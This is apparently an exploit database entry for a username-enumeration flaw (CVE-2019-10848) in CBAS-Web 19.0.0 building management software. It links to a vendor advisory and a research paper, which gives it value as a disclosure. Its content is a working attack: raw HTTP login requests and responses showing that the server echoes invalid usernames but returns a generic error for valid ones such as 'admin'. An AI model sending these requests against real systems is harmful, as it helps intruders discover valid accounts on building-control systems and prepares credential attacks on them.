CBAS-Web 19.0.0 – Username Enumeration
# Exploit Title: CBAS-Web 19.0.0 - Username Enumeration # Google Dork: NA # Date: 2019-11-11 # Exploit Author: LiquidWorm # Vendor Homepage: https://www.computrols.com/capabilities-cbas-web/ # Software Link: https://www.computrols.com/building-automation-software/ # Version: 19.0.0 # Tested on: NA # CVE : CVE-2019-10848 # Advisory: https://applied-risk.com/resources/ar-2019-009 # Paper: https://applied-risk.com/resources/i-own-your-building-management-system # Testing for non-valid user: POST /cbas/index.php?m=auth&a=login HTTP/1.1 username=randomuser&password=&challenge=60753c1b5e449de80e21472b5911594d&response=e16371917371b8b70529737813840c62 # Response for non-valid user: <!-- Failed login comments appear here --> <p class="alert-error">randomuser</p> ======================================================================== Testing for valid user: POST /cbas/index.php?m=auth&a=login HTTP/1.1 username=admin&password=&challenge=6e4344e7ac62520dba82d7f20ccbd422&response=e09aab669572a8e4576206d5c14befc5s # Response for valid user: <!-- Failed login comments appear here --> <p class="alert-error">Invalid username/password combination. Please try again!</p> |